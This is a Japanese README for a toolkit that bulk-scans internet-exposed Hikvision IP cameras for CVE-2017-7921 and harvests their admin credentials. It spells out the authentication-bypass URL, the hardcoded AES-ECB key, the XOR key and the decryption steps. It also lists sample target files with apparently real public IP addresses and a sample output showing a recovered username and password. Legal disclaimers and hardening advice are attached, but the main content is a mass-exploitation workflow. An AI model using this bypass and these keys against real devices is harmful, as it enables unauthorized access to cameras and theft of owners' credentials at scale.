
New releaseAug 10, 2026
CVE-2017-7921-Research-Toolkit GUI
FOFAを利用してHikvisionのCVE-2017-7921脆弱性を迅速にテストし、ログインアカウントとパスワードを出力し、JSONファイルを出力するために使用されます。
CVE-2017-7921 Research Toolkit
セキュリティ声明:本ツールは、許可されたセキュリティ調査および脆弱性検証のみを目的としています。
目次
⚖️ 法的・倫理的声明
重要:本ツールを使用することにより、以下の条項に同意したものとみなされます。
- 許可されたテストのみ:明示的な書面による許可を得たシステムでのみ使用してください。
- 法令遵守:『サイバーセキュリティ法』および関連する地域の法律・規制を厳守してください。
- 責任ある開示:脆弱性を発見した場合は、公式チャネルを通じてベンダーに報告してください。
- 教育目的:本ツールはIoTセキュリティ意識向上のために設計されています。
- 自己責任:本ツールの悪用による法的結果は利用者が負うものとします。
本プロジェクトは、GitHub セキュリティ研究ポリシー および Hikvision セキュリティレスポンスセンター の開示ガイドラインに従います。
📖 プロジェクト説明
Hikvision IPカメラのCVE-2017-7921認証バイパス脆弱性の一括検出・検証ツール。設定ファイルの自動復号と認証情報抽出をサポートします。
設計目標
- セキュリティ研究者が大規模デバイスのセキュリティ状態を評価するのを支援
- デバイス所有者に自己診断機能を提供
- 修正推奨レポートの生成をサポート
- IoTデバイスのセキュリティアップグレードを推進
✨ 機能特長
- ✅ JSON形式のデバイスリストの一括スキャン
- ✅ マルチスレッド並行検出(スレッド数設定可能)
- ✅ 暗号化された設定ファイルの自動ダウンロード
- ✅ リアルタイム復号とログイン認証情報抽出
- ✅ スキャン進捗のリアルタイム表示(tqdm)
- ✅ 結果を自動でJSONレポートに保存
- ✅ 中断後の再開をサポート
🛠️ インストール手順
環境要件
- Python 3.7 以上
- Linux / macOS のみサポート(Windowsでは一部機能制限あり)
依存関係のインストール
git clone https://github.com/[あなたのユーザー名]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
requirements.txt の内容
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 使用方法
1. デバイスデータファイルの準備
ツールディレクトリに zc/ フォルダを作成し、デバイスリストをJSON形式で配置します(各行に1つのデバイスオブジェクト):
mkdir zc
ファイル例: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
フィールド説明:
| フィールド | 説明 | 必須 |
|---|---|---|
link | デバイスのHTTP/HTTPSアクセスアドレス | ✅ はい |
city | 都市情報 | ❌ いいえ |
country | 国コード | ❌ いいえ |
org | 組織/ISP情報 | ❌ いいえ |
2. スキャンツールの実行
python batch_decrypt.py
3. 対話型操作例
════════════════════════════════════════════════════════════════════════════════
Hikvisionカメラ設定ファイル脆弱性一括スキャンツール
════════════════════════════════════════════════════════════════════════════════
利用可能なJSONファイル:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 バイト)
════════════════════════════════════════════════════════════════════════════════
ファイル番号を選択してください: 1
選択されたファイル: devices_2025.json
デバイスデータを読み込み中...
スキャン予定デバイス総数: 2000
並行スレッド数を入力してください (デフォルト: 5): 10
並行スレッド数: 10
スキャンを開始します...
スキャン済みデバイス総数: 2000
脆弱性発見デバイス数: 127
脆弱性デバイスは vulnerable_devices.json に保存されました。
📁 出力結果
スキャン完了後、vulnerable_devices.json が生成され、すべての脆弱性デバイスの情報が含まれます。
出力例:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ 防御と修正の推奨事項
デバイス所有者向け
- ファームウェアを直ちにアップグレード:Hikvision公式サイト から最新バージョンをダウンロードしてください。
- デフォルトパスワードを変更:アップグレード後も、デフォルトのadminパスワードを変更してください。
- ネットワーク分離:カメラを独立したVLANに配置し、パブリックネットワークからの直接アクセスを禁止してください。
- IPホワイトリストを有効化:信頼できるIPアドレスのみ管理インターフェースにアクセスを許可してください。
セキュリティ従事者向け
- スキャン結果の機密保持:未修正デバイスの詳細情報を漏洩しないでください。
- 修正支援:デバイス所有者に積極的に連絡し、技術サポートを提供してください。
- コンプライアンスレポート:ISO 27001標準に準拠したセキュリティ評価レポートを生成してください。
🔬 技術詳細
脆弱性の原理
- 認証バイパス:
/System/configurationFile?auth=YWRtaW46MTEKはハードコードされた認証情報を使用 - 弱い暗号化:設定ファイルは固定のAES-ECB鍵で暗号化
- 鍵の漏洩:鍵
279977f62f6cfd2d91cd75b889ce0c9aはファームウェアにハードコード
暗号化の流れ
- 暗号化されたバイナリ設定ファイルを取得
- AES-ECB復号(先頭ブロックを除去)
- XOR難読化(鍵:
0x73, 0x8B, 0x55, 0x44) - 正規表現でadminアカウントと後続のパスワードフィールドを抽出
📝 ライセンス
本ソフトウェアは、許可されたセキュリティ研究および教育目的のみで使用可能です。利用者は、すべての適用される法律に準拠することを自身で確認する必要があります。
🙏 謝辞
- 迅速な対応とファームウェアアップデートをリリースしてくださったHikvisionに感謝します。
- 脆弱性分析資料を提供してくださったオープンソースコミュニティに感謝します。
- 本プロジェクトは IoTセキュリティ研究のベストプラクティス に従っています。
最終更新:2025-01-29 | バージョン:v1.0.0 | サポートCVE:CVE-2017-7921